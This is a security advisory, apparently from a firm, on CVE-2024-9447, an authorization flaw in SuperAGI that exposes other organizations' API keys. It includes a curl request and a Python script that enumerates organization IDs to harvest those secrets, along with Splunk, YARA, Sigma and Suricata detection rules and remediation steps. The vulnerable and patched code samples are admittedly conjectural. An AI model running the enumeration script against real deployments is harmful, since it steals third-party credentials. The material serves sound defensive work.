CVE-2024-9447

Executive Summary

CVE-2024-9447 is an information disclosure vulnerability in the SuperAGI platform by Transformeroptimus. The /get/organisation/ endpoint fails to enforce proper authorization checks, allowing any authenticated user to retrieve sensitive configuration details—including API keys—of any organization. This flaw can lead to unauthorized access to third-party services, data breaches, and financial loss. The CVSS score is 6.5 (Medium), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the sensitivity of exposed data.

Supply Chain & Package Security

SuperAGI is a Python-based open-source project distributed via PyPI. The vulnerability exists in the web application layer, not in a specific package dependency. However, organizations using SuperAGI should audit their deployment for unauthorized access and consider network segmentation to mitigate risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of sensitive config data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the potential for lateral movement and service compromise elevates the risk for organizations relying on SuperAGI.

Deep Dive & Mechanics

The vulnerability resides in the /get/organisation/ API endpoint. The application fails to validate that the requesting user belongs to the organization whose details are being queried. The endpoint likely retrieves organization configuration from a database without checking the user's organization ID against the requested ID.

Root Cause: Missing authorization check in the view function handling the /get/organisation/ route. The code likely uses a query like Organization.objects.get(id=org_id) without filtering by the current user's organization.

Attack Flow:

1. Attacker authenticates to SuperAGI (e.g., via a low-privilege account).
2. Attacker enumerates organization IDs (e.g., by brute-forcing or observing patterns).
3. Attacker sends GET request to /get/organisation/?org_id=<target_id>.
4. Server returns sensitive configuration, including API keys for external services (e.g., OpenAI, AWS, etc.).
5. Attacker uses leaked API keys to access third-party services, potentially incurring costs or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (Python/Flask-like):

@app.route('/get/organisation/')
def get_organisation():
    org_id = request.args.get('org_id')
    org = Organisation.query.get(org_id)
    return jsonify(org.config)

Patched Code (Conceptual):

@app.route('/get/organisation/')
def get_organisation():
    org_id = request.args.get('org_id')
    current_user_org_id = get_current_user().organisation_id
    if org_id != current_user_org_id:
        abort(403)
    org = Organisation.query.get(org_id)
    return jsonify(org.config)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid SuperAGI user account (any role).
• Target organization ID (e.g., 1, 2, 3...).

Exploitation Steps:

1. Authenticate and obtain session token.
2. Send request:

   curl -X GET "https://target-superagi.com/get/organisation/?org_id=2" \
        -H "Authorization: Bearer <your_token>"
   

3. Parse response for API keys and other secrets.

Automation Script (Python):

import requests

target = "https://target-superagi.com"
token = "your_jwt_token"
headers = {"Authorization": f"Bearer {token}"}

for org_id in range(1, 100):
    r = requests.get(f"{target}/get/organisation/?org_id={org_id}", headers=headers)
    if r.status_code == 200 and "api_key" in r.text:
        print(f"Org {org_id}: {r.json()}")

Blue Team

Detection:

• Monitor for repeated requests to /get/organisation/ with varying org_id parameters from the same user.
• Alert on access to organization IDs not associated with the authenticated user.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/get/organisation/*"
| stats count by user, org_id, src_ip
| where count > 5

Lab Setup:

1. Deploy SuperAGI in a sandboxed environment.
2. Create multiple organizations with dummy API keys.
3. Use a test user to attempt cross-organization access.
4. Monitor logs for unauthorized access attempts.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /get/organisation/?org_id=<integer> from authenticated users.
• Logs: 200 OK responses to /get/organisation/ for organization IDs not belonging to the requester.
• Behavior: Sudden increase in API calls to external services (e.g., OpenAI, AWS) from the SuperAGI server IP.
• File: Unusual entries in SuperAGI logs showing org_id enumeration.

Detection Engineering

YARA Rule

rule CVE_2024_9447_SuperAGI_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2024-9447 in SuperAGI logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9447"
    strings:
        $endpoint = "/get/organisation/"
        $param = "org_id="
        $success = "200"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-9447 SuperAGI Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit missing authorization in SuperAGI /get/organisation/ endpoint
author: Valters IT
logsource:
    category: webserver
    product: superagi
detection:
    selection:
        cs-uri-query|contains: "/get/organisation/"
        sc-status: 200
    filter:
        cs-uri-query|contains: "org_id=current_user_org"  # Adjust based on actual logging
    condition: selection and not filter
falsepositives:
    - Legitimate admin access to multiple organizations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9447 SuperAGI Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/get/organisation/"; http_uri; content:"org_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access to the SuperAGI web interface to trusted IPs only.
2. Implement a WAF rule to block requests to /get/organisation/ with org_id parameters not matching the authenticated user's organization.
3. Rotate all API keys that may have been exposed via this endpoint.

Long-Term Fix:

• Apply the patched code logic (authorization check) to the /get/organisation/ endpoint.
• Conduct a full security audit of all API endpoints for similar authorization flaws.
• Monitor vendor for official patch; if none, consider forking and self-patching.

Workaround:

• Disable the /get/organisation/ endpoint entirely if not needed, by removing or commenting out the route in the application code.

Valters IT